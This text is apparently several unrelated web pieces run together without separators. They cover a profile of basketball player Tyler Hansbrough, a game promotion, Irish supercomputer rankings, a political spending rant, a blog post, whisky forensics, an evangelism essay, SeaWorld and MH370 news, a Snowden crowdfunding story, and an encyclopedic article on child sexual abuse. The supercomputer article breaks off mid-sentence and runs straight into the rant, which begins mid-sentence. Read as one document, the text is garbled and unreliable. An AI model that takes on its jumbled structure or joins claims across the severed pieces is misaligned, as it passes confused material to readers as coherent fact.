His handshake is firm, unsurprising from a guy who maintains with a straight face that he can do 150 push-ups in a row. When there’s not a camera in his face, he’s very animated as he talks, shifting from one foot to the other, engaged and interested. His voice, disarming and in a higher register than you’d expect from someone listed at six-foot-nine, can throw you off at first, and he often punctuates his sentences with: “To be honest with you.”
When asked about his effect on opponents, he flashes a grin. He’s been asked this before. “It’s not something I’m really cognizant of,” Hansbrough says. “Sometimes I just play so hard that some people mistake that for playing dirty or whatever you want to call it. But it’s not. Most people don’t play that hard, and I think it’s why I find myself in these altercations, bugging people.”
A few days earlier, the Chicago Bulls were in town to play the Raptors. In the Bulls locker room before morning shootaround, Joakim Noah sat in one corner, flanked by Kirk Hinrich and Mike Dunleavy Jr. When asked about Hansbrough, Noah and Hinrich shot each other a knowing glance, and through pursed lips tried to hold back smiles. “He’s a full-contact player,” Noah offered.
Dunleavy, a former teammate of Hansbrough’s with the Indiana Pacers, elaborated a bit. “There are two sides to Tyler,” he said. “Off the court he’s a really nice, relaxed guy. I don’t think a lot of people realize that about him, because he’s such an intense, hard-playing dude.”
While coaches and teammates love him for it, that intensity has taken a toll. In 2011, Hansbrough took an elbow to the side of the head from the Knicks’ Kurt Thomas and dropped instantly, lying motionless on the floor for over a minute. When the medical staff walked him to the locker room, he barely got past the tunnel before losing his balance. They got him off his feet and began testing. It was revealed he had suffered a concussion, his third in four years. This one was the worst. “It was a real test,” says Dr. Gene Hansbrough, an orthopedic surgeon and Tyler’s father. “There was a real change in his personality. He was more withdrawn than ever.”
The concussion took Hansbrough away from basketball for nine months. He went to rehab at the University of Pittsburgh and moved in with his dad during the recovery period, rarely leaving the house. A short walk around the corner would leave him dizzy, and the highlight of his day was playing with his dad’s bulldog in the backyard.
Hansbrough has always been close to his family. Sandwiched between two brothers—Greg, two years older, and Ben, two years younger—he was the shyest of the trio. His father recalls fondly how Greg relished the role of big brother. When they’d visit the neighbour’s house—Tyler following like a puppy—Greg would ask for candy while his brother stood silently. “And Tyler wants some, too,” he’d say on his behalf.
But when it came to sports, Hansbrough was in his element. When he was in Grade 1, Hansbrough was a reserve point guard for the Grade 6 team and was starting by Grade 4. Even then, he’d get to the gym early so he could make 100 free throws before each game, and carried that work ethic to the next level. “I’ve never been around a kid more focused, whether it’s in the gym, lifting weights, his diet,” says Hansbrough’s high school coach John David Pattillo, who first saw him play when he was nine years old. It wasn’t long before Hansbrough was a local star as the varsity basketball team at Poplar Bluff High became the hottest ticket in town en route to two state championships. As his father puts it: “When we were at the state tournament you could rob a bank and nobody would know.”
Yet, as his reputation grew, Hansbrough became a bigger target for opponents. “Everybody was fouling him constantly, knocking him around,” recalls Pattillo. “One game I had to take him out in the first half because the kids were undercutting him and it was dangerous. It’s sad that they had to resort to that; it was the only way they thought they could compete with him.”
With Tyler starting at forward and Ben playing guard, the brothers formed a dynamic duo, each fuelling the other. “Those two always competed like demons—whether it was eating the last cookie or making free throws,” Gene says, his Missouri drawl considerably stronger than his son’s. Ben, who played alongside Tyler for one season in Indiana (Vogel recalls the two getting into fist fights in practice), helped his brother become a better player, but their father says that “the real story behind their motivation lies with Greg.”
When Greg was seven years old, the doctors found a tumour in his brain. Even at a young age, Greg was already a dominant athlete, a track star in the making who could jump like a deer. But when doctors successfully removed the tumour, they said it was likely that he wouldn’t walk again. “I saw him go through the whole thing,” Hansbrough says. He watched his big brother regain his motor skills and relearn how to read and walk. Within a few years, Greg was not only walking, but running. He even played four years of high school basketball—the last two alongside Hansbrough. Gene admits his frustration in trying to find purpose in his son being dealt such a hand, but came to see how Greg would impact others. “He’d score a basket and people would go crazy.” Today, Greg is an avid marathon runner, and still the biggest inspiration in his brother’s life. “That’s the reason I wear number 50,” Hansbrough says, proudly lifting his jersey forward. “That was his number, and I said I’ll carry on the tradition for him.”
Recently, Hansbrough became the first athlete spokesperson for Voices Against Brain Cancer, as he tries to raise awareness for the cause. He’s also a public advocate for concussion testing, digging into his own experiences to share his message with others. “Sometimes people want to limit you,” Hansbrough says. “They wrote Greg off. Greg never listened to those doctors, and he kept getting better and better. I saw there were no limits to what you can do based on other people’s thoughts. I learned that from my brother.”
It’s a lesson he’s been able to translate to basketball, too. Nobody thought Poplar Bluff High could be a springboard to a program like North Carolina. At UNC, people said Hansbrough’s game couldn’t translate to the NBA, that his size and strength advantage would be negated. Even this summer, when he added the three-point shot to his arsenal, many in the media said he should stick to the low post. Yet at practice in November, Hansbrough beat Terrence Ross in a three-point shootout as those same people looked on, suddenly silent.
Photo: Christopher Wahl
“The biggest misconception about Tyler is that he’s a mean guy, a brawler,” says Gene. “He has toughness, that’s all. I always told him: In life you can’t back down. Once you do, you’re a target forever.”
“Sometimes,” Hansbrough says, “fans run into me and they expect me to be crazy or do something off the wall. But I’m not a big talker and have always been a quiet guy. It catches people off guard. It’s not like I morph into someone else when I step on the court. It’s just the way I play. I play hard.”
This story appears in the Dec. 8 issue of Sporstnet magazineAbout the game
Farming Simulator 17, developed by Giants Software, invites you into the challenging world of a modern day farmer. Take on all the challenges of farming life, including animal husbandry, crops, sales, and woodcutting. You decide how you want to manage and grow your farm in a huge, open world!
As your career progresses, you’ll take control of over a hundred farming vehicles and machines, faithfully recreated from the biggest names in the industry (Challenger, Fendt, Valtra, Massey Ferguson, etc.) With deep, immersive gameplay, a large open world, and a huge fleet of vehicles including brand new machines, Farming Simulator invites you aboard the largest farming simulation ever created!
Farming Simulator 17 is coming fall 2016 with a load of new features (new map, new brands and vehicles, new animals to breed, and a load of new gameplay features that we will unveil in the coming months).
Key features
Harvest your field and enjoy tons of possibilities for developing your farm with a large variety of crops.
Diversify your agricultural activities with woodcutting or even animal husbandry!
Evolve your farm in huge environments with immersive visual effects.
Use and drive faithfully reproduced farming vehicles and tools, including AGCO’s most respected brands: Challenger, Fendt, Valtra, and Massey Ferguson.
Invite friends to help you progress and expand your farm, in multiplayer games!
Download mods created by the passionate community for unlimited content and an ever-evolving Farming Simulator 17 experience.In the race to build the world’s most powerful supercomputer, Irish researchers are growing in stature.
Ireland has doubled its amount of supercomputers in the Top500 global list in the space of a year. As a result, it has bolstered its position internationally, according to the latest edition of the Irish Supercomputers List.
Compiled by Dr Brett Becker of the School of Computer Science at University College Dublin (UCD), the list has found that four Irish supercomputers now have a total performance power of 4.42 petaflops per second, up from 3.01 on the previous year.
This gives Ireland the enviable position of being the No 1 country in the world in terms of performance per capita, based on the Top500 supercomputers list. It also places Ireland ninth in the world for the number of systems, and 18th in terms of computing performance.
In the EU, Ireland is ranked sixth in the number of systems ahead of countries that include Spain, Austria, the Czech Republic and Finland.
Impressive recent performances
Ireland has ranked on the Top500 list 33 times over a history of 23 years with a total of 20 supercomputers.
More than half of these rankings (19) and supercomputers (12) have been in the last six years, representing Ireland’s increasing pace of high-performance computing investment.
First launched in 2013, the Irish Supercomputers List is updated twice annually and is maintained by an independent group of computer scientists from across the island of Ireland, the UK and the US.
Reacting to the news, Becker said: “It is fantastic that Ireland is continuing to make a mark on the global Top500 list. It is important that Ireland is seen for what it is: a world leader in high-performance computing.”
To put Ireland’s performance against the world leader, China, the Asian superpower last year revealed the most powerful machine in the world, the Sunway TaihuLight, with |
need a large military. We don’t need to be in Iraq, and maybe not Afghanistan, and we don’t need legacy bases all over the world. Cut “defense” spending, it is useless to the US.
If we didn’t try to dominate the Mid-East, we would not face many terror threats. We get what we deserve. Would we like it if outsiders tried to influence our leaders, and our selection of leaders?
Everything Must Be Cut
Fairness is paramount. Americans have a strong sense of fairness. If everything is being cut, then the sense of shared pain will reduce support for riots and demonstrations where people plead for their special interests. Let the students that want lower tuition at the state University pay more. Much more, but in rough proportion to the cuts in the rest of society.
If we cut Medicare by reducing our willingness to pay in the last six months of life, even so, let us make other cuts, such as reducing or eliminating Medicare Part D. There is no good reason to have a Medicare drug benefit. Please end this signature program created by George W. Bush.
I will say it again, cut everything. Get your head around the idea that preserving the nation, state, or municipality is worth a lot more than preserving the stupid programs that venal ideologues are ranting must be kept. There is nothing that must be kept, aside from police, fire, justice, and public health. Even they should have wage cuts — the pain must be shared everywhere.
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FacebookIt's been one year since I sold everything I had and ran from Puerto Rico to start a new life.
Like many life altering events, the seeds for change were being planted some time before. Trying to make a living as a photographer left me on the receiving end of daily bank calls and weight gain fueled by depression. Once the opportunity for change appeared, I jumped on it without any idea of what to expect. One week later I was in New York, getting ready to sleep in couches while I would settle in.
My first days in the city were hard, the bitter cold was something completely new to me, at first glance the city seemed pretty horrible with a lot of cranky people in every turn. I couldn't believe I left my sunny island for this.
Slowly but surely everything started becoming amazing. My bills were becoming a more manageable and smaller monster, I moved to downtown Manhattan to a very nice tiny apartment and summer was arriving bringing the warmth of the sun and with it new experiences in the city.
Old friends were relegated to wonderful memories while family visits became a quarterly thing. New friends arrived with incredible drive and enthusiasm that inspired me in many ways. A new family was and still is being formed in our little town of Financial District.
These people have helped shaped my view of the city, each one has added a little of their influence and taste to my life and made me a more grateful person and inspired person because of it.
As a form of gratitude I invited many of the people I’ve met for a few fun very enjoyable portrait sessions. While these are only a few of the people that have been a part of my life, I’m happy to share their portraits. Here are the results of our experiment:WHEN you’re contemplating life over a warming dram it’s good to know your “water of life” has sprung from the very bedrock of Scotland.
It would leave a bitter aftertaste if your fine single malt was unmasked as a Glenbogus, distilled far from Scottish shores.
Nosing Bladnoch whisky. Picture: Alamy
This is where you need an expert whose scientific sleuthing skills have helped crack murders and human trafficking cases around the globe. Think CSI: Speyside. Think international whisky detective.
Dr Wolfram Meier-Augenstein grew up in Germany but has lived in Scotland for the past two decades. He works as a professor of isotope forensics at the James Hutton Institute and Robert Gordon University in Aberdeen.
His latest research is aimed at authenticating Scotch whisky. The national drink has been granted protected geographical status by the European Union, which means it is an offence to pass off products made elsewhere as Scotch.
Now the professor has developed ground-breaking tests that can identify the genuine article in a line-up of suspects.
“It’s mass spectrometry, but not as you know it,” he said. “We compare the isotope ratio in an authentic whisky with the suspected counterfeit. We can tell if it matches the characteristics of the genuine article. Rather than looking for a needle in a haystack, we are reducing the size of the haystack.”
Stable isotopes are alternative forms of an element such as carbon or oxygen with different atomic weights to each other. Identifying the isotope signatures found in materials such as soil, food and human tissue can point to their geographical, geological, chemical and biological provenance.
Dr Meier-Augenstein is using the technique to detect whether spirits labelled as Scotch have been made with Scottish water.
“As far as our tests are concerned, the nice thing about Scotch whisky is that it only has three ingredients: barley, yeast and water. “The provenance of the barley can be a bit of a grey area, as it is sometimes sourced from England in years when there has been a poor yield north of the Border, but the water used to make the mash is usually sourced as locally as possible to the distillery.
“Water that falls in the Cairngorms is different from water that falls in the Lowlands, and water that falls in Islay is different to water that falls in Orkney. And we can measure the difference. We’ve mapped out the isotopic fingerprint of all the fresh water in Scotland – we call it the isoscape.”
Counterfeit Scotch is understood to cost the whisky industry around £500 million a year – about 10 per cent of its sales.
The scale of the problem means the Scotch Whisky Association (SWA) is involved in around 70 legal actions around the world at any given time. And that’s just for generic fake “Scotch”. Pursuing the producers of counterfeit branded whiskies is down to the firms whose products are being impersonated.
The professor’s findings have been welcomed by the Scottish Government and the whisky industry as a potentially valuable new tool in the battle to safeguard a trade worth nearly £5 billion a year.
“Scotch whisky is one of our most iconic products and the value of it was worth £4.3bn in 2012,” said Scotland’s food and drink minister Richard Lochhead. “If there is a method to ensure anything labelled as Scotch whisky is 100 per cent genuine, this will further safeguard the Scottish whisky trade against imitation and ensure consumers can enjoy a genuine dram.”
David Williamson, an SWA spokesman, said: “The industry is always interested to explore different techniques that may assist our product authentication efforts. Protecting the integrity of Scotch whisky and consumers from fake products is a top industry priority.”“Okay, I’ll go back. But no Jesus stuff this time.”
What exactly does it take to make a 4-year-old declare that she’s all done with Jesus stuff? Bait-and-switch evangelism.
Here’s what happened.
The Tragedy Begins
It’s the day before Easter. And, unexpectedly for the northwest, it’s a beautiful, sunny Saturday afternoon. So, my little girls grab their mom and head down the street to a church that is hosting an Easter carnival. Holding hands, they skip down the sidewalk with images of Easter egg hunts, candy, and cheap carnival games dancing through their young minds, never knowing what is really in store for them.
(This would be a good place to picture a dark cloud suddenly drifting in front of the bright, spring sun, casting a shadow across our happy scene. Or, just imagine some ominous music playing in the background. Either way, you get the point.)
Arriving at the church, the first thing they see is a big booth set up for face painting. Now, I have to admit that I’ve never understood the allure of face painting. But, for little girls, The thought of having someone smear cheap paint all over their faces in a way that vaguely resembles a flying bug is nearly irresistible.
So, they stop. And the tragedy begins.
Because, of course, this is the Gospel booth. And, from the Gospel booth there is no escape. It’s kind of like the Twilight Zone.
The Gospel Zone
Almost as soon as the girls sit down, one of the volunteers launches into the Gospel story. And my girls sit through it patiently. They’ve heard it before, but they’re too polite to interrupt. And, from the enthusiastic presentation, my wife suspects that they might be the only new people the church has seen all afternoon. She doesn’t want to ruin the fun. So they listen to the story.
Twice.
That’s right. Apparently they weren’t sure that my girls caught everything the first time. And they really wanted it to stick. So, as soon as they were done with the story, they launched into it again.
The Twilight Zone does not surrender its victims easily.
Emerging from the Gospel booth almost 30 minutes later, they discover that the carnival is over. No more candy. No more games. No Easter egg hunt. They’ve missed it all.
Bait-and-switch strikes again.
The Old Switcharoo
Bait-and-switch evangelism is any time we tell people that they are getting one thing, and then we slip them the Gospel while they are there. Want some candy? Sure, come and get it. Oh, by the way, you’ll have to sit and listen to this story first.
Are we trying to make little kids hate the Gospel?
Why do we do this? Deep down, are we that afraid that they won’t want to hear? Do we doubt the power of the message that much? Do we think the Spirit can’t handle things?
And, what are we subtly communicating to ourselves and to other people about the Gospel when we do this? I’m afraid that we’re hinting that we really don’t think that the Gospel is all that. If I’m really convinced that I have the most amazing story that will transform your life forever, I’m not going to invite you over to my church for a football game and then try to slip it in between commercials. I’m going to invite you over to hear the story.
Now, there’s nothing wrong with parties, carnivals, football games, or any of the various ways that churches can connect with their communities, share life together, and allow the world to see a redeemed community in action. That must be done. And, along the way, we will have opportunities to share the Gospel as an organic expression of living in community together. But, that’s very different from the bait-and-switch.
When we trick people into hearing the Gospel, we annoy them and we undermine the very message that we’re seeking to promote. I’m sure it works at times, but pragmatic effectiveness is not an adequate measure for appropriate Kingdom living.
The quote at the beginning of this post? That came from my daughter one year later. A full year after her experience at the Easter carnival, she remembered what happened the last time she stepped into the Gospel zone, and she wasn’t about to let it happen again.
No more Jesus stuff for her.
The bait-and-switch at its finest.
AdvertisementsThe killer whale that drowned a female trainer at Orlando's SeaWorld flawlessly performed Wednesday for the first time since last year's death, wowing thousands amid heightened safety that included a steel bar protecting the orca's trainers.
Tilikum participated without incident in the marine park's signature "Believe" show for the first time since dragging 40-year-old Dawn Brancheau from poolside by her pony tail and drowning her during a performance Feb. 24, 2010. Trainers on the platform stood Wednesday behind the stout metal bar shaped as an inverted "U" that was designed to prevent a whale from coming up out of the pool and biting and dragging a trainer into the water.
SeaWorld Animal Training Curator Kelly Flaherty Clark said in a statement that returning Tilikum to performing more than a year later was best for the whale.
"Participating in shows is just a portion of Tilikum's day, but we feel it is an important component of his physical, social and mental enrichment," Clark said. "He has been regularly interacting with his trainers and the other whales for purposes of training, exercise and social and mental stimulation, and has enjoyed access to all of the pools in the Shamu Stadium complex."
There was no special reference made in Wednesday morning's show to Tilikum's return. Nonetheless, Tilikum was the main draw for many. Orcas jumped in unison and splashed those in the front rows, delighting a crowd that filled the 5,000-seat Shamu Stadium to capacity. The show lasted just short of a half-hour.
No trainer has been allowed in the water during the shows since Brancheau's death and they remained out of the pool Wednesday. The closest the trainers got was the pool deck, standing behind the steel bar whenever they reached over to occasionally stroke the whales when they flopped on the platform or to toss them a fish treat.
In the accident that killed Brancheau, she was nose-to-nose with the whale when her pony tail floated into the animal's mouth and she was dragged in, authorities have said. They added that she managed to free herself initially, but the whale continued to strike and thrash her. The tragedy unfolded shortly after a "Dine with Shamu" show when some guests were still in the area.
Tilikum also was one of three orcas blamed for killing a trainer in 1991 after the woman lost her balance and fell in the pool at Sealand of the Pacific near Victoria, British Columbia. Tilikum also was involved in a 1999 death, when the body of a man who had sneaked by SeaWorld Orlando security was found draped over him, authorities said.
The park is still working on plans to get trainers back in the water with the whales. The federal Occupational Safety and Health Administration last summer accused SeaWorld of recklessly putting trainers in danger. The company is fighting OSHA's citations and a $75,000 fine. SeaWorld contends its parks have a good safety record during more than four decades of shows involving killer whales.
Since the death, SeaWorld officials have drawn up plans to spend millions of dollars on safety upgrades. Measures include installing rising pool floors that can quickly lift people and the whales from the water, underwater vehicles to distract the marine animals in emergencies and portable oxygen bottles for trainers.
Orlando resident Wendy Santiago said her family has been attending SeaWorld shows for years and she and her husband, Marcos, made a point of being present for Tilikum's return Wednesday. She said the tragedy left her sad though she was pleased to see Tilikum performing again.
"You never can tell with any of these animals — they are wild animals," Wendy Santiago said of the trainer's death. But she added, tears welling in her eyes at the show's conclusion, "I'm happy today that I was able to see him perform."
Marcos Santiago said he also experienced a mix of feelings while watching the show with their 3-year-old son and 4-month-old daughter.
"I've loved SeaWorld, ever since I was a little kid and used to come here many times," he said. "I fell in love with Shamu and so did my son. So to me it was very emotional to be here on this day."
But the day was not without protests nearby.
Many of those who went to see Tilikum perform drove past about a dozen protesters gathered outside SeaWorld's gates. The demonstrators complained that killer whales should not be held in captivity and several held up signs reading, "Free Tilly."
Despite the lack of any special reference to Tilikum's return Wednesday, veteran SeaWorld attendee David Wythe said the whale's return was clearly the main draw for many.
"That's exactly why we were here," said Wythe, a Kissimmee resident. "Me personally, I believe Tilikum should have been back in the shows a long time ago."Edward Snowden has been holed up in a Moscow airport for nearly a month, but now one campaign on the crowdfunding website Indiegogo aims to help the NSA whistleblower make his way out.
The campaign, aptly named "Fly Edward Snowden Fly," was started by Christian Honey, an Oxford University neuroscientist who hopes to raise money for Snowden's travel and legal costs, should he go to Venezuela, where he was offered asylum.
See also: 10 Hysterical Political Parodies on Twitter
The campaign site includes links to a variety of articles, all justifying the end goal of raising $200,000 by outlining limited flight options due to no-fly zones across Europe.
Based on this article, Honey concludes that if Snowden were to opt for Venezuela, he would have to take a private jet. Avoiding Canada, Norway, and even Florida will be costly — the jet will have to fly from Moscow to Caracas without stopping to refuel.
Honey states that any funds left over after covering travel expenses will be used toward financing "asylum applications, legal advice, [and] defense." He also specifies that a bank account will be set up on Snowden's behalf.
The account will apparently be managed by the Rothera and Company LLT in London, which also manages WikiLeaks' fund. Honey even provides a link to WikiLeaks' funding page and the accountants' page.
Honey also includes a YouTube video detailing his mission statement, seen below, and provides a list of others who support Snowden's cause, such as Oliver Stone and Steve Wozniak.
But with only 10 more days of crowdfunding to go and a total of $321 donated as of now, Honey's goal has a long way to go.
Take a look at the video above and let us know what you think of this campaign in the comments.
Homepage image: Flickr, redlegsfan21Image copyright Australia Transport Safety Bureau
Australian authorities have cast doubt on the theory that Malaysia Airlines flight MH370 may have had a fire on board before it went missing.
Earlier this month, pieces of debris appearing to show burn marks were recovered in Madagascar.
However, authorities say there is no evidence yet that the debris came from MH370 - and the dark marks were caused by resin on the debris, not fire.
MH370 had 239 people on board when it vanished in March 2014.
The flight, which was flying from Kuala Lumpur to Beijing, is presumed to have crashed into the southern Indian Ocean after veering off course.
'Localised heating'
The five fragments had been found by debris hunter Blaine Gibson, who has previously found other parts of the plane.
The pieces were recovered near Sainte Luce, in south-eastern Madagascar.
Two of the pieces appeared to show burn marks, which, experts said, could provide more information on what happened to flight MH370 if confirmed.
Image copyright Reuters Image caption The relatives of those on board are still waiting for answers about the fate of the plane
However, Australian Transport Minister Darren Chester said on Thursday that an initial investigation showed that "contrary to speculation there is no evidence the item was exposed to heat or fire".
The dark markings on the two pieces of debris "related exclusively to a translucent resin that had been applied to those surfaces", a report from the Australian Transport Safety Bureau said.
There were three small marks on one fragment that smelt burnt - but the heat damage appeared to be recent and a result of "localised heating", the ATSB added.
End of search?
A number of other pieces of debris, some confirmed to have come from MH370, have been found in countries near Madagascar.
They include a section of the wing called a flaperon, found on Reunion Island, and a horizontal stabilizer from the tail section and a stabilizer panel with a "No Step" stencil discovered in Mozambique.
Mr Gibson, a lawyer from Seattle, has funded his own search for debris in east Africa.
Australia has been leading the search for the missing aircraft, using underwater drones and sonar equipment deployed from specialist ships.
The search, also involving Malaysia and China, has led to more than 105,000 sq km (40,500 sq miles) of the 120,000 sq km search zone being scoured so far.
But countries have agreed that in the absence of "credible new information" the search is expected to end later this year."Child sex offender" redirects here. For sex crimes committed by minors, see Juvenile sex crimes
Child sexual abuse, also called child molestation, is a form of child abuse in which an adult or older adolescent uses a child for sexual stimulation.[1][2] Forms of child sexual abuse include engaging in sexual activities with a child (whether by asking or pressuring, or by other means), indecent exposure (of the genitals, female nipples, etc.), child grooming, or using a child to produce child pornography.[1][3][4]
Child sexual abuse can occur in a variety of settings, including home, school, or work (in places where child labor is common). Child marriage is one of the main forms of child sexual abuse; UNICEF has stated that child marriage "represents perhaps the most prevalent form of sexual abuse and exploitation of girls".[5] The effects of child sexual abuse can include depression,[6] post-traumatic stress disorder,[7] anxiety,[8] complex post-traumatic stress disorder,[9] propensity to further victimization in adulthood,[10] and physical injury to the child, among other problems.[11] Sexual abuse by a family member is a form of incest and can result in more serious and long-term psychological trauma, especially in the case of parental incest.[12]
The global prevalence of child sexual abuse has been estimated at 19.7% for females and 7.9% for males.[13] Most sexual abuse offenders are acquainted with their victims; approximately 30% are relatives of the child, most often brothers, fathers, uncles, or cousins;[14] around 60% are other acquaintances, such as "friends" of the family, babysitters, or neighbors; strangers are the offenders in approximately 10% of child sexual abuse cases.[15] Most child sexual abuse is committed by men; studies on female child molesters show that women commit 14% to 40% of offenses reported against boys and 6% of offenses reported against girls.[15][16][17]
The word pedophile is commonly applied indiscriminately to anyone who sexually abuses a child,[18] but child sexual offenders are not pedophiles unless they have a strong sexual interest in prepubescent children.[19][20] Under the law, child sexual abuse is often used as an umbrella term describing criminal and civil offenses in which an adult engages in sexual activity with a minor or exploits a minor for the purpose of sexual gratification.[4][21] The American Psychological Association states that "children cannot consent to sexual activity with adults", and condemns any such action by an adult: "An adult who engages in sexual activity with a child is performing a criminal and immoral act which never can be considered normal or socially acceptable behavior."[22]
Effects
Psychological effects
Child sexual abuse can result in both short-term and long-term harm, including psychopathology in later life.[11][23] Indicators and effects include depression,[6][24][25] anxiety,[8] eating disorders,[26] poor self-esteem,[26] somatization,[25] sleep disturbances,[27][28] and dissociative and anxiety disorders including post-traumatic stress disorder.[7][29] While children may exhibit regressive behaviours such as thumb sucking or bedwetting, the strongest indicator of sexual abuse is sexual acting out and inappropriate sexual knowledge and interest.[30][31] Victims may withdraw from school and social activities[30] and exhibit various learning and behavioural problems including cruelty to animals,[32][33][34][35] attention deficit/hyperactivity disorder (ADHD), conduct disorder, and oppositional defiant disorder (ODD).[26] Teenage pregnancy and risky sexual behaviors may appear in adolescence.[36] Child sexual abuse victims report almost four times as many incidences of self-inflicted harm.[37]
[38] A study funded by the USA National Institute of Drug Abuse found that "Among more than 1,400 adult females, childhood sexual abuse was associated with increased likelihood of drug dependence, alcohol dependence, and psychiatric disorders. The associations are expressed as odds ratios: for example, women who experienced nongenital sexual abuse in childhood were 2.83 times more likely to suffer drug dependence as adults than were women who were not abused."
A well-documented, long-term negative effect is repeated or additional victimization in adolescence and adulthood.[10][39] A causal relationship has been found between childhood sexual abuse and various adult psychopathologies, including crime and suicide,[15][40][41][42][43][44] in addition to alcoholism and drug abuse.[38][39][45] Males who were sexually abused as children more frequently appear in the criminal justice system than in a clinical mental health setting.[30] A study comparing middle-aged women who were abused as children with non-abused counterparts found significantly higher health care costs for the former.[25][46] Intergenerational effects have been noted, with the children of victims of child sexual abuse exhibiting more conduct problems, peer problems, and emotional problems than their peers.[47]
A specific characteristic pattern of symptoms has not been identified,[48] and there are several hypotheses about the causality of these associations.[6][49][50]
Studies have found that 51% to 79% of sexually abused children exhibit psychological symptoms.[42][51][52][53][54] The risk of harm is greater if the abuser is a relative, if the abuse involves intercourse or attempted intercourse, or if threats or force are used.[55] The level of harm may also be affected by various factors such as penetration, duration and frequency of abuse, and use of force.[11][23][56][57] The social stigma of child sexual abuse may compound the psychological harm to children,[57][58] and adverse outcomes are less likely for abused children who have supportive family environments.[59][60]
Posttraumatic stress disorder
Child abuse, including sexual abuse, especially chronic abuse starting at early ages, has been found to be related to the development of high levels of dissociative symptoms, which includes amnesia for abuse memories.[61] When severe sexual abuse (penetration, several perpetrators, lasting more than one year) had occurred, dissociative symptoms were even more prominent.[62] Recent research showed that females with high exposure to child sexual abuse (CSA) suffer PTSD symptoms that are associated with poor social functioning, which is also supported by prior research studies.[63] The feeling of being “cut-off” from peers and “emotional numbness” are both results of CSA and highly inhibit proper social functioning. Furthermore, PTSD is associated with higher risk of substance abuse as a result of the “self-medication hypothesis” and the “high-risk and susceptibility hypothesis."[64] Prolonged exposure therapy (PE) was found to decrease PTSD and depressive symptoms in female methadone using CSA survivors.[64]
Besides dissociative identity disorder (DID), posttraumatic stress disorder (PTSD), and complex post-traumatic stress disorder (C-PTSD), child sexual abuse survivors may present borderline personality disorder (BPD) and eating disorders such as bulimia nervosa.[65]
Research factors
Because child sexual abuse often occurs alongside other possibly confounding variables, such as poor family environment and physical abuse,[66] some scholars argue it is important to control for those variables in studies which measure the effects of sexual abuse.[23][49][67][68] In a 1998 review of related literature, Martin and Fleming state "The hypothesis advanced in this paper is that, in most cases, the fundamental damage inflicted by child sexual abuse is due to the child's developing capacities for trust, intimacy, agency and sexuality, and that many of the mental health problems of adult life associated with histories of child sexual abuse are second-order effects."[69] Other studies have found an independent association of child sexual abuse with adverse psychological outcomes.[8][23][49]
Kendler et al. (2000) found that most of the relationship between severe forms of child sexual abuse and adult psychopathology in their sample could not be explained by family discord, because the effect size of this association decreased only slightly after they controlled for possible confounding variables. Their examination of a small sample of CSA-discordant twins also supported a causal link between child sexual abuse and adult psychopathology; the CSA-exposed subjects had a consistently higher risk for psychopathologic disorders than their CSA non-exposed twins.[49]
A 1998 meta-analysis by Bruce Rind et al. generated controversy by suggesting that child sexual abuse does not always cause pervasive harm, that some college students reported such encounters as positive experiences and that the extent of psychological damage depends on whether or not the child described the encounter as "consensual."[70] The study was criticized for flawed methodology and conclusions.[71][72] The US Congress condemned the study for its conclusions and for providing material used by pedophile organizations to justify their activities.[73]
Physical effects
Injury
Depending on the age and size of the child, and the degree of force used, child sexual abuse may cause internal lacerations and bleeding. In severe cases, damage to internal organs may occur, which, in some cases, may cause death.[74]
Infections
Child sexual abuse may cause infections and sexually transmitted diseases.[75] Due to a lack of sufficient vaginal fluid, chances of infections can heighten depending on the age and size of the child. Vaginitis has also been reported.[75]
Neurological damage
Research has shown that traumatic stress, including stress caused by sexual abuse, causes notable changes in brain functioning and development.[76][77] Various studies have suggested that severe child sexual abuse may have a deleterious effect on brain development. Ito et al. (1998) found "reversed hemispheric asymmetry and greater left hemisphere coherence in abused subjects;"[78] Teicher et al. (1993) found that an increased likelihood of "ictal temporal lobe epilepsy-like symptoms" in abused subjects;[79] Anderson et al. (2002) recorded abnormal transverse relaxation time in the cerebellar vermis of adults sexually abused in childhood;[80] Teicher et al. (1993) found that child sexual abuse was associated with a reduced corpus callosum area; various studies have found an association of reduced volume of the left hippocampus with child sexual abuse;[81] and Ito et al. (1993) found increased electrophysiological abnormalities in sexually abused children.[82]
Some studies indicate that sexual or physical abuse in children can lead to the overexcitation of an undeveloped limbic system.[81] Teicher et al. (1993)[79] used the "Limbic System Checklist-33" to measure ictal temporal lobe epilepsy-like symptoms in 253 adults. Reports of child sexual abuse were associated with a 49% increase to LSCL-33 scores, 11% higher than the associated increase of self-reported physical abuse. Reports of both physical and sexual abuse were associated with a 113% increase. Male and female victims were similarly affected.[79][83]
Navalta et al. (2006) found that the self-reported math Scholastic Aptitude Test scores of their sample of women with a history of repeated child sexual abuse were significantly lower than the self-reported math SAT scores of their non-abused sample. Because the abused subjects' verbal SAT scores were high, they hypothesized that the low math SAT scores could "stem from a defect in hemispheric integration." They also found a strong association between short-term memory impairments for all categories tested (verbal, visual, and global) and the duration of the abuse.[84]
Incest
Incest between a child or adolescent and a related adult is known as child incestuous abuse,[85] and has been identified as the most widespread form of child sexual abuse with a huge capacity to damage the young person.[12] One researcher stated that more than 70% of abusers are immediate family members or someone very close to the family.[86] Another researcher stated that about 30% of all perpetrators of sexual abuse are related to their victim, 60% of the perpetrators are family acquaintances, like a neighbor, babysitter or friend and 10% of the perpetrators in child sexual abuse cases are strangers.[15] A child sexual abuse offense where the perpetrator is related to the child, either by blood or marriage, is a form of incest described as intrafamilial child sexual abuse.[87]
The most-often reported form of incest is father–daughter and stepfather–daughter incest, with most of the remaining reports consisting of mother/stepmother–daughter/son incest.[88] Father–son incest is reported less often; however it is not known if the actual prevalence is less or it is under-reported by a greater margin.[89][90][91][92] Similarly, some argue that sibling incest may be as common, or more common, than other types of incest: Goldman and Goldman[93] reported that 57% of incest involved siblings; Finkelhor reported that over 90% of nuclear family incest involved siblings;[94] while Cawson et al. show that sibling incest was reported twice as often as incest perpetrated by fathers/stepfathers.[95]
Prevalence of parental child sexual abuse is difficult to assess due to secrecy and privacy; some estimates state that 20 million Americans have been victimized by parental incest as children.[88]
Types
Child sexual abuse includes a variety of sexual offenses, including:
sexual assault – a term defining offenses in which an adult uses a minor for the purpose of sexual gratification; for example, rape (including sodomy), and sexual penetration with an object. [96] Most U.S. states include, in their definitions of sexual assault, any penetrative contact of a minor’s body, however slight, if the contact is performed for the purpose of sexual gratification. [97]
– a term defining offenses in which an adult uses a minor for the purpose of sexual gratification; for example, rape (including sodomy), and sexual penetration with an object. Most U.S. states include, in their definitions of sexual assault, any penetrative contact of a minor’s body, however slight, if the contact is performed for the purpose of sexual gratification. sexual exploitation – a term defining offenses in which an adult victimizes a minor for advancement, sexual gratification, or profit; for example, prostituting a child, [98] and creating or trafficking in child pornography. [99]
